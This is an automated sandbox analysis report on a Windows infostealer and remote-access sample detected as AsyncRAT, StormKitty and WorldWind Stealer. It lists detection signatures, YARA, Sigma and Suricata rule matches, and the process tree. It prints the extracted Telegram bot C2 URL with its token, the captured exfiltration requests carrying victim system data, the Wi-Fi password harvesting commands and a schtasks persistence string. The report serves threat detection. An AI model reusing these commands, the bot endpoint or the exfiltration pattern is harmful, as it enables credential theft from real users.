Edit tour

Windows Analysis Report
cOH7jKmo25.exe

Overview

General Information

Sample name:	cOH7jKmo25.exe renamed because original name is a hash value
Original sample name:	153a321e178bc28e0f2c6432763bb44fc47b573596387ec241ca45d8775e12af.exe
Analysis ID:	1588314
MD5:	f69889d705f5d72d65661b48535ae1b3
SHA1:	4c8f3cf14130e6519339a370bba4527ecb012cde
SHA256:	153a321e178bc28e0f2c6432763bb44fc47b573596387ec241ca45d8775e12af
Tags:	AsyncRATexeuser-adrian__luca
Infos:

Detection

AsyncRAT, StormKitty, WorldWind Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Suricata IDS alerts for network traffic

Yara detected AsyncRAT

Yara detected StormKitty Stealer

Yara detected Telegram RAT

Yara detected Telegram Recon

Yara detected WorldWind Stealer

AI detected suspicious sample

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Uses netsh to modify the Windows network and firewall settings

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious desktop.ini Action

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

cOH7jKmo25.exe (PID: 7540 cmdline: "C:\Users\user\Desktop\cOH7jKmo25.exe" MD5: F69889D705F5D72D65661B48535AE1B3)

cmd.exe (PID: 7736 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7784 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

netsh.exe (PID: 7800 cmdline: netsh wlan show profile MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

findstr.exe (PID: 7808 cmdline: findstr All MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7848 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7896 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

netsh.exe (PID: 7912 cmdline: netsh wlan show networks mode=bssid MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage"}

Threatname: AsyncRAT

{"Server": "127.0.0.1", "Ports": "6606,7707,8808"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
cOH7jKmo25.exe	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security
cOH7jKmo25.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
cOH7jKmo25.exe	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
cOH7jKmo25.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
cOH7jKmo25.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
cOH7jKmo25.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
cOH7jKmo25.exe	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x11f83:$sk01: LimerBoy/StormKitty 0x287ce:$sk01: LimerBoy/StormKitty 0x1d879:$str01: set_sUsername 0x1d9ff:$str02: set_sIsSecure 0x1dadd:$str03: set_sExpMonth 0x1bf2c:$str04: WritePasswords 0x1c9cb:$str05: WriteCookies 0x1dc8d:$str06: sChromiumPswPaths 0x1dc9f:$str07: sGeckoBrowserPaths 0x24aa1:$str08: Username: {1} 0x25c49:$str08: Username: {1} 0x24abd:$str09: Password: {2} 0x25c65:$str09: Password: {2} 0x26d7f:$str10: encrypted_key":"(.*?)"
cOH7jKmo25.exe	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x1f4c9:$str01: get_ActivatePong 0x1f3ee:$str02: get_SslClient 0x1f3d2:$str03: get_TcpClient 0x1f490:$str04: get_SendSync 0x1f470:$str05: get_IsConnected 0x1df31:$str06: set_UseShellExecute 0x29278:$str07: Pastebin 0x2326b:$str08: Select * from AntivirusProduct 0x29152:$str10: timeout 3 > NUL 0x29050:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x290e0:$str12: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
cOH7jKmo25.exe	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x290e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
cOH7jKmo25.exe	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25663:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
cOH7jKmo25.exe	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2773f:$s1: \VPN\NordVPN 0x27725:$s2: \VPN\OpenVPN 0x27707:$s3: \VPN\ProtonVPN
cOH7jKmo25.exe	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x25e9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x25f0d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x25f97:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x26029:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x26093:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x26105:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2619b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2622b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
cOH7jKmo25.exe	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x11f8c:$x3: StormKitty 0x1b6ca:$s1: GetBSSID 0x1b5ca:$s2: GetAntivirus 0x26b4b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x26d7d:$s6: "encrypted_key":"(.*?)"
Click to see the 8 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x28ee2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25463:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x34508:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: cOH7jKmo25.exe PID: 7540	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security
Process Memory Space: cOH7jKmo25.exe PID: 7540	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: cOH7jKmo25.exe PID: 7540	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: cOH7jKmo25.exe PID: 7540	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: cOH7jKmo25.exe PID: 7540	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: cOH7jKmo25.exe PID: 7540	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x425f4:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: cOH7jKmo25.exe PID: 7540	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x22880:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x41112:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.cOH7jKmo25.exe.7e0000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.0.cOH7jKmo25.exe.7e0000.0.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0.0.cOH7jKmo25.exe.7e0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.cOH7jKmo25.exe.7e0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.cOH7jKmo25.exe.7e0000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.0.cOH7jKmo25.exe.7e0000.0.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x11f83:$sk01: LimerBoy/StormKitty 0x287ce:$sk01: LimerBoy/StormKitty 0x1d879:$str01: set_sUsername 0x1d9ff:$str02: set_sIsSecure 0x1dadd:$str03: set_sExpMonth 0x1bf2c:$str04: WritePasswords 0x1c9cb:$str05: WriteCookies 0x1dc8d:$str06: sChromiumPswPaths 0x1dc9f:$str07: sGeckoBrowserPaths 0x24aa1:$str08: Username: {1} 0x25c49:$str08: Username: {1} 0x24abd:$str09: Password: {2} 0x25c65:$str09: Password: {2} 0x26d7f:$str10: encrypted_key":"(.*?)"
0.0.cOH7jKmo25.exe.7e0000.0.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x1f4c9:$str01: get_ActivatePong 0x1f3ee:$str02: get_SslClient 0x1f3d2:$str03: get_TcpClient 0x1f490:$str04: get_SendSync 0x1f470:$str05: get_IsConnected 0x1df31:$str06: set_UseShellExecute 0x29278:$str07: Pastebin 0x2326b:$str08: Select * from AntivirusProduct 0x29152:$str10: timeout 3 > NUL 0x29050:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x290e0:$str12: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
0.0.cOH7jKmo25.exe.7e0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x290e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
0.0.cOH7jKmo25.exe.7e0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25663:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0.0.cOH7jKmo25.exe.7e0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2773f:$s1: \VPN\NordVPN 0x27725:$s2: \VPN\OpenVPN 0x27707:$s3: \VPN\ProtonVPN
0.0.cOH7jKmo25.exe.7e0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x25e9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x25f0d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x25f97:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x26029:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x26093:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x26105:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2619b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2622b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.0.cOH7jKmo25.exe.7e0000.0.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x11f8c:$x3: StormKitty 0x1b6ca:$s1: GetBSSID 0x1b5ca:$s2: GetAntivirus 0x26b4b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x26d7d:$s6: "encrypted_key":"(.*?)"
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious desktop.ini Action

Source: File created

Author: Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO): Data: EventID: 11, Image: C:\Users\user\Desktop\cOH7jKmo25.exe, ProcessId: 7540, TargetFilename: C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\cOH7jKmo25.exe", ParentImage: C:\Users\user\Desktop\cOH7jKmo25.exe, ParentProcessId: 7540, ParentProcessName: cOH7jKmo25.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 7736, ProcessName: cmd.exe

Suricata Signatures

ET MALWARE StormKitty Data Exfil via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:53:50.405005+0100	2031009	1	Malware Command and Control Activity Detected	192.168.2.9	49796	149.154.167.220	443	TCP

ET MALWARE WorldWind Stealer Checkin via Telegram (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:53:50.405005+0100	2044766	1	A Network Trojan was detected	192.168.2.9	49796	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:53:51.476326+0100	2803305	3	Unknown Traffic	192.168.2.9	49806	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:53:50.405005+0100	1810007	1	Potentially Bad Traffic	192.168.2.9	49796	149.154.167.220	443	TCP
2025-01-10T23:53:51.476326+0100	1810007	1	Potentially Bad Traffic	192.168.2.9	49806	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: cOH7jKmo25.exe	Malware Configuration Extractor: AsyncRAT {"Server": "127.0.0.1", "Ports": "6606,7707,8808"}
Source: cOH7jKmo25.exe.7540.0.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage"}

Multi AV Scanner detection for submitted file

Source: cOH7jKmo25.exe	ReversingLabs: Detection: 91%
Source: cOH7jKmo25.exe	Virustotal: Detection: 81%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: cOH7jKmo25.exe

Joe Sandbox ML: detected

Source: cOH7jKmo25.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.9:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.9:49796 version: TLS 1.2

Source: cOH7jKmo25.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: winload_prod.pdb source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.0.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.0.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.9:49796 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2031009 - Severity 1 - ET MALWARE StormKitty Data Exfil via Telegram : 192.168.2.9:49796 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2044766 - Severity 1 - ET MALWARE WorldWind Stealer Checkin via Telegram (GET) : 192.168.2.9:49796 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.9:49806 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: cOH7jKmo25.exe, type: SAMPLE
Source: Yara match	File source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202025-01-10%205:53:38%20pm%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20302494%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20282H_%0ARAM:%204095MB%0AHWID:%20C344724773%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.189%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%201%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.44.66 104.21.44.66
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.16.184.241 104.16.184.241

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: icanhazip.com

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49806 -> 149.154.167.220:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202025-01-10%205:53:38%20pm%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20302494%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20282H_%0ARAM:%204095MB%0AHWID:%20C344724773%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.189%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%201%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=5287158069&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1Host: api.telegram.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: 158.157.4.0.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: icanhazip.com
Source: global traffic	DNS traffic detected: DNS query: api.mylnikov.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.18.0Date: Fri, 10 Jan 2025 22:53:50 GMTContent-Type: application/jsonContent-Length: 84Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.18.0Date: Fri, 10 Jan 2025 22:53:51 GMTContent-Type: application/jsonContent-Length: 84Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.mylnikov.org
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.mylnikov.orgd
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp, cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
